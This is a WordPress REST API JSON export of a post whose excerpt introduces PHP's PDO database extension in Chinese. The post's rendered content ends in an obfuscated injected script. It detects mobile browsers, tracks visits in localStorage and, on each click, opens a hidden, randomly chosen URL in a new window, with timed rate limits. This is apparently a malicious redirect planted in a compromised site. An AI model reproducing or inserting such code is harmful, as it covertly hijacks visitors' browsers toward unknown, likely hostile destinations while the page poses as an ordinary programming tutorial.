wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>1. \u7c21\u4ecb \u7c21\u8ff0\uff1aPHP \u8cc7\u6599\u7269\u4ef6 \uff08PDO\uff09 \u64f4\u5c55\u70baPHP\u5b58\u53d6\u8cc7\u6599\u5eab\u5b9a\u7fa9\u4e86\u4e00\u500b\u8f15\u91cf\u7d1a\u7684\u4e00\u81f4\u63a5\u53e3 \u7279\u8272\uff1aPDO [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[13,12],"_links":{"self":[{"href":"http:\/\/www.cheln.com\/index.php\/wp-json\/wp\/v2\/posts\/79"}],"collection":[{"href":"http:\/\/www.cheln.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.cheln.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.cheln.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.cheln.com\/index.php\/wp-json\/wp\/v2\/comments?post=79"}],"version-history":[{"count":1,"href":"http:\/\/www.cheln.com\/index.php\/wp-json\/wp\/v2\/posts\/79\/revisions"}],"predecessor-version":[{"id":80,"href":"http:\/\/www.cheln.com\/index.php\/wp-json\/wp\/v2\/posts\/79\/revisions\/80"}],"wp:attachment":[{"href":"http:\/\/www.cheln.com\/index.php\/wp-json\/wp\/v2\/media?parent=79"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.cheln.com\/index.php\/wp-json\/wp\/v2\/categories?post=79"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.cheln.com\/index.php\/wp-json\/wp\/v2\/tags?post=79"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}